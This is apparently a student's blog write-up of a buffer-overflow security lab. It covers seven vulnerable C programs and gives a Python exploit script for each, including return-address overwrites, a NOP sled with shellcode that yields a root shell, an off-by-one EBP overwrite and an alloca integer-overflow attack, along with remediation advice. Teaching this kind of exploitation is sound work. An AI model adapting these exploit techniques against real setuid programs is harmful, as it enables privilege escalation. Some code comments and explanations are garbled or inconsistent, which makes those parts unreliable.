...

Cybersecurity Buffer overflows

Posted on: 2025-03-14
Cybersecurity

published

Vulnerability 1: Overwriting a variable on the stack

a. Understanding the Program

  1. The grade variable is a 5-byte buffer initialized to F.

  2. The name variable is a 9-byte buffer, but it is read using gets(name), which does not check the input length.

  3. Since gets(name) does not enforce bounds, input exceeding 9 bytes will overwrite grade.

b. Exploitation Plan

  • The grade buffer comes before name in memory.

  • If we provide an input longer than 9 bytes, it will start overwriting grade.

  • We need to overwrite grade with A+ (bA+\x00 to ensure null termination).

c. Exploit Structure

  1. Fill name completely (9 bytes): Use any dummy characters (bA*9).

  2. Overwrite grade (5 bytes) with A+: We need A+, plus null padding to prevent junk characters.

d. Expected output

  • We expect to overflow the grade F with A+ so at the end the program displays

e. The code

 
import sys

# Fill 'name' buffer (9 bytes) with null-padding to prevent visible escape sequences
payload = bAbarros\\x00\\x00 \ 

# Overwrite 'grade' with A+ and ensure null termination
payload += bA+\\x00 \  

sys.stdout.buffer.write(payload)
 

f. Result

Root access

g. Prevention

If I was the owner of this code I will change the order of local variables in the stack by changing the order of the two lines in python. In this way, grade will be on top of name and name won't overflow it.

Vulnerability 2: Overwriting the return address

(a) What does the program do?

The program accepts exactly one command‐line argument. It passes that argument to the function vulnerable(), which copies it into a fixed-size local buffer (of size 12) using strcpy(). Since strcpy() does not check for the size of the input, if the argument is longer than 12 bytes, the extra bytes will overflow the local buffer and can overwrite data on the stack (such as the saved frame pointer and return address). After vulnerable() returns, the program calls print_failure(), printing “You failed the course.” unless control has been hijacked.

(b) Why is this program vulnerable?

The program is vulnerable because it uses an unchecked copy operation (strcpy) into a buffer that is too small for the potential input.

(c) What could happen to the machine running this program?

If exploited, the overflow can lead to arbitrary code execution. An attacker could redirect the execution flow to any code segment (or function) in the program, bypassing normal control flow.

(d) How can you exploit the identified vulnerabilities?

The strategy for exploitation is as follows:

  1. Determine the Buffer Layout:

    • The local buffer input is 12 bytes.

    • After the buffer, we have the argc that is 8 bytes and the saved EBP (4 bytes) followed by the saved return address (4 bytes).

    • Therefore, to reach the return address, you need to overflow 12 (buffer) + 8 + 4 (saved EBP) = 24 bytes.

    Craft the Payload:

    • Create a payload consisting of 24 filler bytes (which can be any value, e.g., A or 0x41) to fill the buffer and the saved EBP.

    • Append the address of the function print_success() (in little-endian format) as the new return address.

(e) What was your code?

Below is an example Python3 script named sol2.py that prints the payload for the exploit

#!/usr/bin/env python3
import sys
import struct

# The new return address to jump to:
new_ret_addr = 0x8049933

# Offset to return address is 16 bytes.
offset = 4*6

# Create payload: 16 filler bytes + new return address in little-endian.
payload = bA * offset + b'\x33\x99\x04\x08';

# Output the payload.
sys.stdout.buffer.write(payload)
 

(f) What proves that your attack was successful?

root access

(g) How would you remediate/eliminate these vulnerabilities?

To fix the vulnerability, one could:

  1. Use a Bounded Copy Function:
    Replace strcpy(input, arg); with a function that limits the number of bytes copied

  2. Use Compiler Defenses:

    • Enable stack canaries (e.g., compile with -fstack-protector).

    • Enable non-executable stack protections.

  3. Adopt Safe Libraries:
    Use safer string handling functions provided by modern libraries.

Vulnerability 3: Redirecting control to shellcode

(a) What does the program do?

The program vulnerable3 takes a single command-line argument, copies it into a fixed-size buffer of 512 bytes (buf), and exits. Specifically: - _main() checks if there are exactly two arguments (program name + argument). - func() calls mycopy(), which uses strcpy() to copy the argument into a local buffer buf[512] without bounds checking. - If the input is too long, it can overwrite memory beyond buf, leading to a buffer overflow.

(b) Why is this program vulnerable?

The primary vulnerability is the buffer overflow in mycopy(): - strcpy() does not check input length, allowing a user to overwrite adjacent stack memory, including the return address. - The attacker can overwrite this return address to redirect execution to an injected shellcode.

Why is this dangerous?

  • The program is root, meaning it runs with root privileges.

  • Successfully executing arbitrary code (e.g., shellcode) results in a root shell, compromising the system.


(c) What could happen to the machine?

If successfully exploited, an attacker could: 1. Gain root access to the system. 2. Modify or delete files, install malware, or create backdoors. 3. Escalate privileges from an unprivileged user to root. 4. Compromise system integrity, affecting confidentiality and availability.


(d) How can you exploit the vulnerabilities?

Attack strategy:

  1. Overflow the buffer to overwrite the return address.

  2. Insert shellcode into memory to execute /bin/sh.

  3. Redirect execution to the shellcode using a guessed return address.

Steps:

  1. Create a payload:

    • NOP sled: Helps land execution inside shellcode.

    • Shellcode: Already provided (shellcode.py).

    • Padding: Ensures alignment before overwriting return address.

    • Return address overwrite: Guessed address within the buffer.


(e) What was your code?

 
#!/usr/bin/env python3
import sys
import struct
from shellcode import shellcode  # Usamos el shellcode provisto (no se permite código custom)

#Buffer size
tam_buffer = 512

#Extra bytes needed to reach eax
tam_extra = 4

# Total to get to eax
offset = tam_buffer + tam_extra  # 516 bytes

#Adding NOP's
nop = b'\x90'

nop_sled_size = 300
nop_sled = nop * nop_sled_size

#Construct payload
payload_inicial = nop_sled + shellcode

# Add padding
if len(payload_inicial) < offset:
    padding_len = offset - len(payload_inicial)
    padding = bA * padding_len
    payload =  payload_inicial +padding 
else:
    payload = payload_inicial[:offset]

# Overwrite return address
ret_addr = 0xbff694c0 #Guess of middle address of the buffer
payload += struct.pack(<I, ret_addr) * 10

# Write payload as argument
sys.stdout.buffer.write(payload)
 

(f) What proves that your attack was successful?

Root access

(g) How to fix the vulnerability?

  1. Use safer string functions: Replace strcpy(out, arg); with strncpy(out, arg, sizeof(buf) - 1);

    • Ensures buffer bounds are not exceeded.

  2. Stack canaries:

    • Enable stack protection to detect buffer overflows:

      gcc -fstack-protector-all -o vulnerable3 vulnerable3.c
  3. DEP (Data Execution Prevention):

    • Mark stack as non-executable to prevent running shellcode

  4. ASLR (Address Space Layout Randomization):

    • Randomizes memory addresses, making it harder to predict ret_addr.

  5. Remove SUID bit:

  6. Rewriting the program securely:

Vulnerable 4: Redirecting control to shellcode through EBP

(a) What does the program do?

The vulnerable4 program processes a user-supplied input string and copies it into a fixed-size buffer using the nstrcpy function. It then continues execution.

Program Breakdown:

  • The function process(arg) takes an argument (arg) and copies it into a buffer of size 105 bytes.

  • The function nstrcpy(out, outl, in) is used for copying, but it allows writing one extra byte beyond the buffer size due to an off-by-one error.

  • The program returns normally unless the overflow is exploited.


(b) Why is this program vulnerable?

The program contains a buffer overflow vulnerability due to improper bounds checking in nstrcpy. This vulnerability allows an attacker to overwrite one byte of the saved EBP, altering the execution flow.

Vulnerabilities Identified:

  1. Off-by-One Buffer Overflow

    • nstrcpy() copies one extra byte beyond the buffer (i <= len instead of i < len).

    • This allows modifying the least significant byte (LSB) of EBP.

  2. Saved EBP Overwrite → Stack Pivoting

    • Since the saved EBP is stored after buf[105], a controlled overflow can partially overwrite EBP.

    • If EBP is manipulated correctly, it alters the stack alignment, allowing us to control where ret jumps.

  3. No Stack Protection

    • The program is compiled without stack canaries (-fno-stack-protector).

    • The stack is executable (-z execstack), allowing shellcode execution.


(c) What could happen to the machine running this program?

If successfully exploited, the attacker can: 1. Gain a root shell (# prompt) by injecting shellcode. 2. Execute arbitrary code within the privileges of the vulnerable process. 3. Escalate privileges (if the program runs with root permissions). 4. Compromise system security, leading to full machine takeover.


(d) How can you exploit the identified vulnerabilities?

Exploit Strategy:

  1. Buffer Overflow:

    • Overflow buf[105] to reach and modify the last byte of the saved EBP.

  2. Align the Stack Properly:

    • By precisely modifying EBP, we ensure that the function returns to an address we control (inside our shellcode).

  3. Inject Shellcode:

    • Place a NOP sled followed by shellcode within the buffer.

    • Overwrite the return address to point into the NOP sled.

  4. Trigger Execution:

    • When the function returns, execution jumps into our shellcode, giving us a root shell.


(e) What was your code?

Python Exploit (sol4.py)

 
#!/usr/bin/env python3
import sys
import struct
from shellcode import shellcode  

# Buffer size
buf_size = 108

# Address we want to access: NOP code or shellcode
target_addr = 0xbff70f68
target_addr_bytes = struct.pack(<I, target_addr)

#Building buffer
nop = b'\x90'
nop_sled = nop * 16

# build payload
payload_body = nop_sled + shellcode

#add padding based on payload length
remaining = buf_size - 8
if len(payload_body) < remaining:
    padding = bA * (remaining - len(payload_body))
    payload_body += padding
else:
    payload_body = payload_body[:remaining]

#Build the whole buffer
buffer_payload = target_addr_bytes + payload_body

#Add the one byte overflow pointing to where our target_address is
overflow_byte = b\x58

payload = nop + buffer_payload + overflow_byte

sys.stdout.buffer.write(payload)
 

(f) What proves that your attack was successful?

Root access

(g) How would you fix the vulnerability?

Best Fixes for vulnerable4.c

1. Proper Bounds Checking in nstrcpy

Modify:

for (i = 0; i <= len; i++)

To:

for (i = 0; i < len; i++)  // Prevents off-by-one overflow

2. Enable Stack Protection

Compile with:

gcc -m32 -fstack-protector-all -z noexecstack -o vulnerable4 vulnerable4.c

-fstack-protector-all → Prevents buffer overflows.
-z noexecstack → Makes the stack non-executable, preventing shellcode execution.

3. Use Safer Functions

Replace nstrcpy() with strncpy():

strncpy(out, in, outl - 1);
out[outl - 1] = '\0';  // Null-terminate to prevent overflow

Here's a structured response to your questions, including an explanation of the vulnerability and the exploitation strategy.

Vulnerable 5:  Overwriting the return address indirectly

(a) What does the program do?

The program vulnerable5.c takes a command-line argument and processes it through a vulnerable function. Here's a breakdown:

  1. The function call_vul() receives the argument and passes it to vulnerable().

  2. Inside vulnerable(), a large buffer (buf[1047]) is declared.

  3. The input string (arg) is copied into buf using strncpy(), but with an incorrect size (sizeof(buf) + 8).

  4. A pointer p is uninitialized, and later, *p = a; is executed, which leads to undefined behavior.

  5. The function prints buf before any meaningful execution.


(b) Why is this program vulnerable?

This program contains multiple vulnerabilities:

  1. Buffer Overflow: The function strncpy(buf, arg, sizeof(buf) + 8); allows for writing beyond buf's allocated size. The size should be sizeof(buf) - 1 to ensure a null-terminated string, but instead, it incorrectly adds 8 bytes.

  2. Uninitialized Pointer p: p is declared but never initialized before *p = a;, leading to potential control over where a is written in memory.

  3. Indirect Return Address Overwrite: Because p can be overwritten due to buffer overflow, it can be leveraged to point to a controlled memory location (e.g., where shellcode is stored).


(c) What could happen to the machine running this program?

  1. Arbitrary Code Execution: The attacker can inject shellcode to open a root shell.

  2. Data Manipulation: An attacker could modify important variables or hijack execution flow.


(d) How can you exploit the identified vulnerabilities?

Exploitation Strategy

  1. Inject Shellcode: Place the shellcode in the buffer (buf).

  2. Control p: Overflow buf so that p points to the shellcode.

  3. Trigger Execution: When *p = a; executes, it modifies a controlled memory region, leading to execution of the shellcode.

(e) What was your code?

Python Exploit (sol5.py)

 
#!/usr/bin/env python3
import sys
import struct
from shellcode import shellcode  

# Buffer size
buffer_size = 1047

# Address to overwrite p
target_address = 0xbff695ac  
value = 0xbff69210  

# NOP sled for reliability
nop_sled_size = 200
nop_sled = b'\x90' * nop_sled_size

# Construct payload
payload = nop_sled + shellcode

# Pad the payload to reach p and a
padding_length = buffer_size - len(payload)

payload += bA * padding_length


payload += struct.pack(<I, value)  
payload += struct.pack(<I, target_address)  

# Output payload
sys.stdout.buffer.write(payload)
 

(f) What proves that your attack was successful?

Root access

(g) How would you fix this program?

1. Fix Buffer Overflow

Change:

strncpy(buf, arg, sizeof(buf) + 8);

To:

strncpy(buf, arg, sizeof(buf) - 1);
buf[sizeof(buf) - 1] = '\0'; // Ensure null termination

2. Initialize Pointer p

int *p = NULL;  // Avoid uninitialized pointer issue

3. Remove Dangerous Functionality

Instead of *p = a;, ensure proper pointer validation:

if (p != NULL) {
    *p = a;
}

4. Enable Security Mechanisms

Recompile with security flags:

gcc -fstack-protector -D_FORTIFY_SOURCE=2 -z noexecstack -o vulnerable5 vulnerable5.c

These flags: - Add stack canaries (-fstack-protector). - Prevent buffer overflows (-D_FORTIFY_SOURCE=2). - Disable execution on stack (-z noexecstack).

Vulnerable 6:  Beyond strings

(a) What does the program do?

The program vulnerable6.c reads a binary file and processes its contents as follows:

  1. Takes a filename as a command-line argument.

    • If no filename is provided, it exits with an error message.

  2. Opens the specified file in binary mode (rb).

    • If the file cannot be opened, it prints an error and exits.

  3. Reads the first 4 bytes from the file as an unsigned int count.

    • This value determines how many 32-bit integers will be read next.

  4. Dynamically allocates stack space using alloca(count * sizeof(unsigned int)).

    • This reserves memory on the stack for storing count integers.

  5. Reads count integers from the file into the allocated buffer.

    • It processes these integers but does not return or print anything.

  6. Since alloca() allocates memory on the stack dynamically, the function does not explicitly free the memory, as alloca()'s memory is automatically released when the function returns.


(b) Why is this program vulnerable?

The program is vulnerable due to two major issues:

1. Integer Overflow in alloca(count * sizeof(unsigned int))

  • The program trusts the user-provided count value without validating it.

  • If count is too large, multiplying it by 4 (sizeof(unsigned int)) causes an integer overflow.

  • Example:

    count = 0x400000A1 (Huge value)
    count * 4 = 0x100000284 (Too large for a 32-bit integer)
    • Since alloca() does not return NULL on failure, this leads to corrupted stack space.

2. Stack Overflow Due to Unchecked alloca()

  • If alloca(count * 4) requests more memory than available, it overwrites the return address.

  • Since alloca() does not check for failure, the program continues execution with a corrupted stack, leading to arbitrary code execution.


(c) What could happen to the machine running this program?

If exploited successfully: 1. Arbitrary Code Execution:
- The attacker can inject malicious shellcode and gain unauthorized access to the system.

  1. Privilege Escalation (If Run as Root):

    • If vulnerable6 is running with elevated privileges, the attacker can gain root access.

  2. Denial of Service (DoS):

    • The exploit could crash the program by corrupting the stack.

  3. Memory Corruption:

    • Since alloca() does not return an error on failure, execution continues with unpredictable behavior.


(d) How can you exploit the identified vulnerabilities?

The exploit strategy is:

1. Trigger an Integer Overflow in alloca()

  • Use a large count value (0x400000A1) to make:

    count * sizeof(unsigned int) → Integer Overflow
  • This causes alloca() to allocate an unexpectedly small buffer, while the program still writes count elements into it.

2. Inject Malicious Shellcode

  • The payload consists of:

    1. NOP sled (0x90 bytes): Allows execution to slide into the shellcode.

    2. Shellcode: Executes /bin/sh.

    3. Padding: Ensures the payload reaches the return address.

    4. Overwritten Return Address: Redirects execution to the shellcode.

3. Overwrite the Return Address

  • After overflowing past EBP+4, the return address is replaced with a pointer to the NOP sled.


(e) What was your code?

Exploit Code (sol6.py)

#!/usr/bin/env python3
import struct
from shellcode import shellcode  # Provided shellcode

# Force an integer overflow
count = 0x400000A1  # Large value to cause integer overflow

#NOP sled for reliability
nop_sled = b'\x90' * 100  

#Construct the payload 
payload = nop_sled + shellcode  

#Ensure overflow past EBP+4
padding_length = (171 * 4) - len(payload)  
payload += bA * padding_length  

#Overwrite return address
return_address = struct.pack(<I, 0xbff692b0)  # Adjust this in GDB
payload += return_address  

#Write malicious binary file
with open(tmp, wb) as f:
    f.write(struct.pack(<I, count))  #
    f.write(payload)  

(f) What proves that your attack was successful?

(g) How would you fix this vulnerability?

1. Fix Integer Overflow

  • Add a bound check for count before using alloca():

    if (count > 1024) {  // Restrict to a safe value
        fprintf(stderr, Error: Too many elements\n);
        return;
    }

2. Replace alloca() with malloc()

  • alloca() does not handle failures.

  • Use malloc() to prevent stack corruption:

    unsigned int *buf = malloc(count * sizeof(unsigned int));
    if (!buf) {
        fprintf(stderr, Error: Memory allocation failed\n);
        return;
    }

3. Enable Compiler Security Protections

  • Recompile with stack protection:

    • -fstack-protector: Detects buffer overflows.

    • -D_FORTIFY_SOURCE=2: Adds runtime checks for unsafe functions.

    • -z noexecstack: Prevents executing shellcode from the stack.

Vulnerable 7: Variable stack position

(a) What does the program do? Describe the behavior of the program.

The program vulnerable7.c takes a command-line argument and passes it to the function vulnerable(), which copies it into a fixed-size buffer (buf[1260]) using strcpy(). Additionally, before calling vulnerable(), it introduces a random stack offset using alloca(r & 0xFF), where r is a random value read from /dev/urandom. This means that the stack position changes slightly (by 0 to 255 bytes) on each execution.

(b) Why is this program vulnerable?

The program is vulnerable due to buffer overflow. The function vulnerable() copies the user input into a fixed-size buffer (buf[1260]) without bounds checking, meaning an attacker can input more than 1260 bytes and overwrite the return address of the function.

Identified vulnerabilities:

  1. Unbounded strcpy(buf, arg);

    • strcpy() does not check the size of arg. If arg is longer than buf, it will overwrite adjacent memory, including the return address.

  2. Return Address Overwrite

    • By overflowing buf, an attacker can overwrite the function’s return address to point to malicious code (shellcode).

  3. ASLR (Address-Space Layout Randomization) Mitigation Bypass

    • Although ASLR introduces randomness, it only shifts the stack by 0–255 bytes, which is small enough that a NOP sled (a long sequence of 0x90 instructions leading to shellcode) can be used to absorb the variation.


(c) What could happen to the machine running this program?

If successfully exploited, the program could allow an attacker to gain control of the execution flow and execute arbitrary code, such as opening a root shell.

Possible outcomes: 1. Privilege Escalation: If the program is executed with root privileges, the attacker could gain full control over the machine. 2. System Compromise: The attacker could install malware, backdoors, or steal sensitive data. 3. Denial of Service (DoS): The program could be used to crash the system or execute malicious scripts.


(d) How can you exploit the identified vulnerabilities?

To exploit this vulnerability, we use the following strategy:

  1. Create a NOP sled: Since the stack shifts by up to 255 bytes, we prepend a large NOP sled (\x90 bytes) so that execution lands safely inside it.

  2. Inject shellcode: Place shellcode after the NOP sled to execute a root shell.

  3. Pad to overwrite the return address: Fill the buffer up to the return address.

  4. Overwrite the return address with an address inside the NOP sled: This ensures execution eventually reaches our shellcode, despite ASLR.

(e) What was your code?

Here is the exploit script (sol7.py):

 
#!/usr/bin/env python3
import sys
import struct
from shellcode import shellcode 

#  Create a large NOP sled to absorb ASLR shifts
nop_sled = b'\x90' * 255 * 2

#Add shellcode after the NOP sled
payload = nop_sled + shellcode  

#Pad buffer until we reach the return address overwrite
padding_length = 1272 - len(payload) 
payload += bA * padding_length  

#Overwrite return address to point inside the NOP sled
return_address = struct.pack(<I, 0xbff69111)  
payload += return_address  

#Print the payload for use in command-line arguments
sys.stdout.buffer.write(payload)
 

(f) What proves that your attack was successful?

Root access

(g) How would you fix the vulnerability?

1. Replace strcpy() with strncpy()

Why?
- strncpy() ensures that at most sizeof(buf) - 1 bytes are copied. - Manually null-terminating ensures no buffer overflow.

2. Use fgets() instead of strcpy()

Alternative fix:

fgets(buf, sizeof(buf), stdin);
  • Ensures input is bounded.

3. Stack Canaries

  • Enable stack canaries to detect overflows before return address overwrite:

4. Enable DEP (Data Execution Prevention)

  • Mark stack as non-executable so shellcode cannot run

5. Use ASLR Fully

  • Compile with Position Independent Executable (PIE):

    • This makes code segments randomized on each execution.